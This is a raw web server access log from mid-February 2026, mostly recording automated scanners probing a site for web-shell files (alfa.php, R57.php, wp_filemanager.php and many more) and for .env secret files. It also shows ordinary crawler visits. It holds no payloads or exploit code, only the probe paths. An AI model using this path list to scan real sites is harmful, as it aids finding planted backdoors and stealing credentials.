20.89.56.154 - - [13/Feb/2026:23:35:27 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:28 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:31 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:34 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:37 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:39 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:42 +0300] "GET /bs2.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:44 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:48 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:50 +0300] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:53 +0300] "GET /wp-site.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:57 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:59 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:03 +0300] "GET /yawa.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:06 +0300] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:08 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:11 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:14 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:17 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:21 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:24 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:27 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:29 +0300] "GET /zfile.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:32 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:04 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:07 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:09 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:11 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:14 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:17 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:20 +0300] "GET /503.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:23 +0300] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:27 +0300] "GET /wp-4doption1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:30 +0300] "GET /ioxi1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:32 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:36 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:37 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:40 +0300] "GET /Capte.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:44 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:47 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:51 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:53 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:56 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:33:58 +0300] "GET /bugger.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:01 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:04 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:06 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:09 +0300] "GET /kdgok.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:11 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:14 +0300] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:17 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:19 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:23 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:23 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:26 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:30 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:33 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:36 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:39 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:42 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:45 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:49 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:53 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:55 +0300] "GET /w3llscc.php7 HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:59 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:01 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:04 +0300] "GET /wp-tot.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:07 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:10 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:12 +0300] "GET /wbbw.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:15 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:06 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:09 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:14 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:17 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:20 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:24 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:27 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:29 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:32 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:36 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:38 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:41 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:44 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:47 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:49 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:52 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:55 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:58 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:25 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:28 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:31 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:34 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:36 +0300] "GET /css/radio.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:39 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:41 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:44 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:47 +0300] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:50 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:52 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:56 +0300] "GET /siteheads.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:00 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:04 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:26 +0300] "GET /styles.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:30 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:33 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:35 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:38 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:41 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:45 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:37:20 +0300] "GET /acxx.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:08 +0300] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:11 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:14 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:17 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:21 +0300] "GET /includes/phpinfo.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:50 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:54 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:38:57 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:39:01 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 20.22.240.161 - - [14/Feb/2026:01:05:06 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 117.62.235.53 - - [14/Feb/2026:02:04:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.217.180.34 - - [14/Feb/2026:01:27:04 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:07 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:10 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:13 +0300] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:16 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:19 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:22 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:24 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:27 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:31 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:34 +0300] "GET /php8.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:38 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:42 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:46 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:49 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:27:52 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:28 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:32 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:34 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:37 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:40 +0300] "GET /h02ugyh.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:43 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:45 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:48 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:51 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:55 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:25:59 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:04 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:07 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:11 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:14 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:16 +0300] "GET /R57.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:20 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:24 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:26 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:29 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:33 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:37 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:40 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:43 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:45 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:48 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:50 +0300] "GET /knmt.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:53 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:56 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [14/Feb/2026:01:26:59 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 193.37.32.205 - - [14/Feb/2026:02:44:06 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.28.1" 193.37.32.211 - - [14/Feb/2026:02:44:06 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.28.1" 80.248.227.19 - - [14/Feb/2026:02:50:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8" 74.7.244.54 - - [14/Feb/2026:06:22:17 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 74.7.242.11 - - [14/Feb/2026:06:22:45 +0300] "GET / HTTP/1.1" 301 795 "http://carplz.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 110.166.71.39 - - [14/Feb/2026:08:09:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.180.153 - - [14/Feb/2026:07:54:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.154.127.188 - - [14/Feb/2026:09:09:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.22.240.161 - - [14/Feb/2026:09:06:18 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.74.146.113 - - [14/Feb/2026:09:47:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:19 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:21 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:24 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:26 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:28 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:30 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:32 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:35 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:37 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:39 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:40 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:42 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:44 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:46 +0300] "GET /ak.php/wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:48 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:49 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:51 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:53 +0300] "GET /a4.php/wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:56 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [14/Feb/2026:09:47:57 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 46.224.148.195 - - [14/Feb/2026:11:08:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.199.186.0 - - [14/Feb/2026:14:10:46 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:10:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:10:09 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:10:13 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:10:22 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:10:23 +0300] "GET /88.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:10:26 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:10:53 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:10:57 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:00 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:03 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:06 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:08 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:11 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:15 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:17 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:20 +0300] "GET /yooldisk.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:23 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.199.186.0 - - [14/Feb/2026:14:11:24 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 106.119.167.146 - - [14/Feb/2026:14:40:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.68.107.159 - - [14/Feb/2026:14:38:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.107.159 - - [14/Feb/2026:14:38:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 43.157.95.131 - - [14/Feb/2026:14:45:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.73.183 - - [14/Feb/2026:15:41:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.107.40 - - [14/Feb/2026:16:34:20 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 173.252.70.42 - - [14/Feb/2026:17:55:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 207.180.220.222 